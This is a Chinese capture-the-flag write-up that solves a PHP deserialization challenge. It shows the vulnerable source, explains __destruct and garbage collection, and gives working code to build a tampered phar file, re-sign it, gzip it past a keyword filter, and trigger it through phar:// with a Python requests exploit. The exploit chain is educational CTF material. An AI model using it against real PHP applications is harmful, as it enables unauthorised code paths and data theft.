这道题东西真的很多,看了大佬的wp学到了不少,几个笔记记录一下。
源码:
- highlight_file(__FILE__);
- class getflag {
- function __destruct() {
- echo getenv("FLAG");
- }
- }
-
- class A {
- public $config;
- function __destruct() {
- if ($this->config == 'w') {
- $data = $_POST[0];
- if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
- die("我知道你想干吗,我的建议是不要那样做。");
- }
- file_put_contents("./tmp/a.txt", $data);
- } else if ($this->config == 'r') {
- $data = $_POST[0];
- if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
- die("我知道你想干吗,我的建议是不要那样做。");
- }
- echo file_get_contents($data);
- }
- }
- }
- if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
- die("我知道你想干吗,我的建议是不要那样做。");
- }
- unserialize($_GET[0]);
- throw new Error("那么就从这里开始起航吧");
首先是一个getflag
类,内容就是输出$FLAG
,触发条件为__destruct
;第二个类是A
,作用有两个,一个是写文件,一个是读文件,写入数据和读取对象都是POST[0]
然后就是对GET[0]
的关键字判断,通过后反序列化GET[0]
这里因为关键字对flag
有过滤,所以无法直接触发getflag
类;转眼去看A
类,既然有任意内容写入
+任意文件读取
+类
,优先考虑phar
,phar反序列化的基础利用请读者自行先去了解,这里不做介绍。
那我们的操作就是先利用A类的写文件功能写入一个phar文件,其中phar文件的metadata部分设置为getflag类,这样phar://读取之后,其中的metadata部分的数据就被反序列化,getflag就生成了,再最后程序结束触发__destruct获取flag
__destruct
是PHP对象的一个魔术方法,称为析构函数,顾名思义这是当该对象被销毁的时候自动执行的一个函数。其中以下情况会触发__destruct
- 主动调用
unset($obj)
- 主动调用
$obj = NULL
- 程序自动结束
我们很容易理解上述情况为什么会调用析构函数,因为这代表该对象要被清空了。除此之外,别忘了PHP拥有垃圾回收Garbage collection
即我们常说的GC
机制。
PHP中GC
使用引用计数和回收周期自动管理内存对象,那么这时候当我们的对象变成了“垃圾”,就会被GC
机制自动回收掉,回收过程中,就会调用函数的__destruct
。
刚才我们提到了引用计数,其实当一个对象没有任何饮用的时候,则会被视为“垃圾”,即
$a = new obj();
这是一个obj
对象,被a
变量应用,所以它不是“垃圾”。如果是
new obj();
或
$a = new obj();$a = 2;
上面都是对象没有被饮用或开始有饮用之后失去了引用的情况,我们可以考虑下列实例代码。
- class obj {
- function __construct($i) {$this->i = $i; }
- function __destruct() { echo $this->i."Destroy...\n"; }
- }
- new obj('1');
- $a = new obj('2');$a = new obj('3');
- echo "————————————\n";
输出应该如下
- 1Destroy...
- 2Destroy...
- ————————————
- 3Destroy...
1、
而我们这里明显看到倒数第二行有反序列化操作,但是没有任何引用,所以按照上述会在执行完毕之后处于unset
状态,会回收这个对象,即执行__destruct
,这一步通过调试可能更加清楚的看到执行流程。这样的话,我们便可以直接在这里写入数据。
O:1:"A":1:{s:6:"config";s:1:"w";}
这样就是写入文件操作了
2、
虽然我们可以写数据了,但是我们需要写什么数据了,显然下面有file_get_contents
可以利用,那么我们可以利用phar://
协议来进行反序列化。
生成phar文件:
-
- class getflag{
-
- }
-
- $user = new getflag();
- $user = array(0=>$user,1=>null);
- $phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
- $phar-> startBuffering();
- $phar->setStub("GIF89a"); //设置stub
- $phar->setMetadata($user); //将对象user写入到metadata中
- $phar->addFromString("shell.txt","haha"); //添加压缩文件,文件名字为shell.txt,内容为haha
- $phar->stopBuffering();
(无法生成的话记得修改php.ini
中的phar的readonly
为off
并去掉这行前边的分号,具体操作百度)
解释一下为什么有一个array(0=>$user,1=>null)的操作,因为如果我们直接在phar文件的Metadata写getflag
对象的话,显然是不能进行反序列化的,因为他反序列化之后会被phar对象的metadata属性引用,不符合unset情况,也就不会直接执行__destruct,所以我们需要用GC来
进行执行__destruct
当phar://反序列化其中的数据时(反序列化时是按顺序执行的),先反出a[0]的数据,也就是a[0]=getflag类,再接着反序列化时,又将a[0]设为了NULL,那就和上述所说的一致了,getflag类被取消了引用,所以会触发__destruct,从而获得flag
但新的问题又随之产生了,我们在phar中无法生成上述的字符串内容,我们只能生成a:2:{i:0;O:7:"getflag":0:{}i:1;N;}
而这个不是我们想要的,所以我们把i:1改为i:0,这样就能取消getflag类的引用。
用010editor打开我们生成的phar文件,一定不要用记事本,不然到最后无法获取flag,因为如果你用记事本修改,实际上不止修改了你的数字,还有后面的签名和签名方法
3、
phar文件是修改成功了,但这个时候这个phar是处于损坏状态的,因为我们修改了前面的数据导致后面的签名对不上。这个时候,我们还需要手动计算出这个新phar文件的签名。
- from hashlib import sha1
-
- f = open('/test/shell.phar', 'rb').read() # 修改内容后的phar文件
-
- s = f[:-28] # 获取要签名的数据
- h = f[-8:] # 获取签名类型以及GBMB标识
- newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
-
- open('/test/newpoc.phar', 'wb').write(newf) # 写入新文件
根据自己的情况改一下路径即可。
4、
phar文件是生成好了,接下来就是上传和读取了,因为此时我们的phar文件依旧有明文存在,这里就是getflag,而由源码可知会被检查出来,这里用压缩的方法绕过
附上最后的exp
- import requests
- import gzip
- import re
-
- url = 'http://1.14.71.254:28016/'
-
- file = open("/test/newpoc.phar", "rb") #打开文件
- file_out = gzip.open("/test/phar.zip", "wb+")#创建压缩文件对象
- file_out.writelines(file)
- file_out.close()
- file.close()
-
- requests.post(
- url,
- params={
- 0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'
-
- },
- data={
- 0: open('/test/phar.zip', 'rb').read()
- }
- ) # 写入
-
- res = requests.post(
- url,
- params={
- 0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'
- },
- data={
- 0: 'phar://tmp/a.txt'
- }
- ) # 触发
- res.encoding='utf-8'
- flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0]
- print(flag)